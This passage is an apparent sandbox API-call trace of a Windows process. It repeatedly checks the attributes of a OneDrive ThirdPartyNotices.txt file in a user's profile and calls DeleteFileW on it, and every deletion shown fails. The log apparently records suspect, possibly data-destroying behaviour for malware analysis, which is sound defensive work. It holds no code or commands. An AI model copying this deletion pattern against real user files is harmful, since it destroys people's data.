(normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.967] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.967] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.967] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.967] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.968] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.968] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.969] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.969] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.970] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.970] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.970] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.970] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.972] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.972] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.972] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.972] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.974] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.974] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.974] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.974] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.976] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.976] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.976] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.976] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.978] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.978] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.978] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.978] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.980] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.980] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.980] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.980] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.982] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.982] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.982] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.982] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.983] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.984] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.984] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.984] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.985] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.986] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.986] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.988] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.988] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.988] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.988] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.990] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.990] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.990] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.990] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.992] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.992] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, 